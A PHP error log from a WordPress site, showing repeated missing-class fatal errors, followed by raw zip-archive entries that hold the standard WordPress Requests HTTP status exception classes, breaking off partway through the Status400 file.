[28-Aug-2026 08:23:18 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:23:18 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[28-Aug-2026 08:23:38 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:23:38 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[28-Aug-2026 08:24:08 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:24:08 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[28-Aug-2026 08:24:18 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:24:18 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[28-Aug-2026 08:24:58 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:24:58 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[29-Aug-2026 14:30:57 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:30:57 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[29-Aug-2026 14:31:23 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:31:23 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[29-Aug-2026 14:31:24 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:31:24 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[29-Aug-2026 14:31:24 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:31:24 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[29-Aug-2026 14:31:25 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:31:25 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[29-Aug-2026 14:32:03 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:03 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[29-Aug-2026 14:32:03 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:03 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[29-Aug-2026 14:32:04 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:04 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[29-Aug-2026 14:32:04 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:04 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[29-Aug-2026 14:32:05 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:05 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[29-Aug-2026 14:32:05 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:05 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[29-Aug-2026 14:32:06 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:06 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[29-Aug-2026 14:32:06 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:06 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[29-Aug-2026 14:32:53 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:53 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[29-Aug-2026 14:32:54 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:54 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[29-Aug-2026 14:32:54 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:54 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[29-Aug-2026 14:32:58 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:32:58 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[29-Aug-2026 14:33:02 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:02 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[29-Aug-2026 14:33:07 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:07 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[29-Aug-2026 14:33:12 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:12 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[29-Aug-2026 14:33:17 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:17 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[29-Aug-2026 14:33:23 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:23 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[29-Aug-2026 14:33:30 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:30 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[29-Aug-2026 14:33:35 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:35 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[29-Aug-2026 14:33:40 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:40 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[29-Aug-2026 14:33:45 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:45 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[29-Aug-2026 14:33:51 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:51 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[29-Aug-2026 14:33:56 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:33:56 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[29-Aug-2026 14:34:01 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:34:01 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[29-Aug-2026 14:34:07 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:34:07 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[29-Aug-2026 14:34:12 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:34:12 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[29-Aug-2026 14:34:17 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:34:17 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[29-Aug-2026 14:34:27 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:34:27 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
PK ]] src/Exception/Http/Status407.phpnu W+A <?php
/**
* Exception for 407 Proxy Authentication Required responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 407 Proxy Authentication Required responses
*
* @package Requests\Exceptions
*/
final class Status407 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 407;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Proxy Authentication Required';
}
PK ][F src/Exception/Http/Status411.phpnu W+A <?php
/**
* Exception for 411 Length Required responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 411 Length Required responses
*
* @package Requests\Exceptions
*/
final class Status411 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 411;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Length Required';
}
PK ]h$a src/Exception/Http/Status306.phpnu W+A <?php
/**
* Exception for 306 Switch Proxy responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 306 Switch Proxy responses
*
* @package Requests\Exceptions
*/
final class Status306 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 306;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Switch Proxy';
}
PK ] src/Exception/Http/Status500.phpnu W+A <?php
/**
* Exception for 500 Internal Server Error responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 500 Internal Server Error responses
*
* @package Requests\Exceptions
*/
final class Status500 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 500;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Internal Server Error';
}
PK ]w; src/Exception/Http/Status503.phpnu W+A <?php
/**
* Exception for 503 Service Unavailable responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 503 Service Unavailable responses
*
* @package Requests\Exceptions
*/
final class Status503 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 503;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Service Unavailable';
}
PK ]4, , src/Exception/Http/Status418.phpnu W+A <?php
/**
* Exception for 418 I'm A Teapot responses
*
* @link https://tools.ietf.org/html/rfc2324
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 418 I'm A Teapot responses
*
* @link https://tools.ietf.org/html/rfc2324
*
* @package Requests\Exceptions
*/
final class Status418 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 418;
/**
* Reason phrase
*
* @var string
*/
protected $reason = "I'm A Teapot";
}
PK ]kT src/Exception/Http/Status408.phpnu W+A <?php
/**
* Exception for 408 Request Timeout responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 408 Request Timeout responses
*
* @package Requests\Exceptions
*/
final class Status408 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 408;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Request Timeout';
}
PK ]m src/Exception/Http/Status505.phpnu W+A <?php
/**
* Exception for 505 HTTP Version Not Supported responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 505 HTTP Version Not Supported responses
*
* @package Requests\Exceptions
*/
final class Status505 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 505;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'HTTP Version Not Supported';
}
PK ](s s src/Exception/Http/Status429.phpnu W+A <?php
/**
* Exception for 429 Too Many Requests responses
*
* @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 429 Too Many Requests responses
*
* @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04
*
* @package Requests\Exceptions
*/
final class Status429 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 429;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Too Many Requests';
}
PK ]{ src/Exception/Http/Status402.phpnu W+A <?php
/**
* Exception for 402 Payment Required responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 402 Payment Required responses
*
* @package Requests\Exceptions
*/
final class Status402 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 402;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Payment Required';
}
PK ]hm src/Exception/Http/Status413.phpnu W+A <?php
/**
* Exception for 413 Request Entity Too Large responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 413 Request Entity Too Large responses
*
* @package Requests\Exceptions
*/
final class Status413 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 413;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Request Entity Too Large';
}
PK ]wא src/Exception/Http/Status405.phpnu W+A <?php
/**
* Exception for 405 Method Not Allowed responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 405 Method Not Allowed responses
*
* @package Requests\Exceptions
*/
final class Status405 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 405;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Method Not Allowed';
}
PK ] src/Exception/Http/Status401.phpnu W+A <?php
/**
* Exception for 401 Unauthorized responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 401 Unauthorized responses
*
* @package Requests\Exceptions
*/
final class Status401 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 401;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Unauthorized';
}
PK ]Sb src/Exception/Http/Status406.phpnu W+A <?php
/**
* Exception for 406 Not Acceptable responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 406 Not Acceptable responses
*
* @package Requests\Exceptions
*/
final class Status406 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 406;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Not Acceptable';
}
PK ]* $ src/Exception/Http/StatusUnknown.phpnu W+A <?php
/**
* Exception for unknown status responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response;
/**
* Exception for unknown status responses
*
* @package Requests\Exceptions
*/
final class StatusUnknown extends Http {
/**
* HTTP status code
*
* @var integer|bool Code if available, false if an error occurred
*/
protected $code = 0;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Unknown';
/**
* Create a new exception
*
* If `$data` is an instance of {@see \WpOrg\Requests\Response}, uses the status
* code from it. Otherwise, sets as 0
*
* @param string|null $reason Reason phrase
* @param mixed $data Associated data
*/
public function __construct($reason = null, $data = null) {
if ($data instanceof Response) {
$this->code = (int) $data->status_code;
}
parent::__construct($reason, $data);
}
}
PK ]y src/Exception/Http/Status404.phpnu W+A <?php
/**
* Exception for 404 Not Found responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 404 Not Found responses
*
* @package Requests\Exceptions
*/
final class Status404 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 404;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Not Found';
}
PK ] src/Exception/Http/Status409.phpnu W+A <?php
/**
* Exception for 409 Conflict responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 409 Conflict responses
*
* @package Requests\Exceptions
*/
final class Status409 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 409;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Conflict';
}
PK ]f+ src/Exception/Http/Status417.phpnu W+A <?php
/**
* Exception for 417 Expectation Failed responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 417 Expectation Failed responses
*
* @package Requests\Exceptions
*/
final class Status417 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 417;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Expectation Failed';
}
PK ] src/Exception/Http/Status502.phpnu W+A <?php
/**
* Exception for 502 Bad Gateway responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 502 Bad Gateway responses
*
* @package Requests\Exceptions
*/
final class Status502 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 502;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Bad Gateway';
}
PK ] src/Exception/Http/Status416.phpnu W+A <?php
/**
* Exception for 416 Requested Range Not Satisfiable responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 416 Requested Range Not Satisfiable responses
*
* @package Requests\Exceptions
*/
final class Status416 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 416;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Requested Range Not Satisfiable';
}
PK ]η.p src/Exception/Http/Status410.phpnu W+A <?php
/**
* Exception for 410 Gone responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 410 Gone responses
*
* @package Requests\Exceptions
*/
final class Status410 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 410;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Gone';
}
PK ] src/Exception/Http/Status305.phpnu W+A <?php
/**
* Exception for 305 Use Proxy responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 305 Use Proxy responses
*
* @package Requests\Exceptions
*/
final class Status305 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 305;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Use Proxy';
}
PK ]` src/Exception/Http/Status412.phpnu W+A <?php
/**
* Exception for 412 Precondition Failed responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 412 Precondition Failed responses
*
* @package Requests\Exceptions
*/
final class Status412 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 412;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Precondition Failed';
}
PK ] src/Exception/Http/Status304.phpnu W+A <?php
/**
* Exception for 304 Not Modified responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 304 Not Modified responses
*
* @package Requests\Exceptions
*/
final class Status304 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 304;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Not Modified';
}
PK ]2d src/Exception/Http/Status414.phpnu W+A <?php
/**
* Exception for 414 Request-URI Too Large responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 414 Request-URI Too Large responses
*
* @package Requests\Exceptions
*/
final class Status414 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 414;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Request-URI Too Large';
}
PK ]ǿH7 src/Exception/Http/Status400.phpnu W+A <?php
/**
* Exception for 400 Bad Request responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
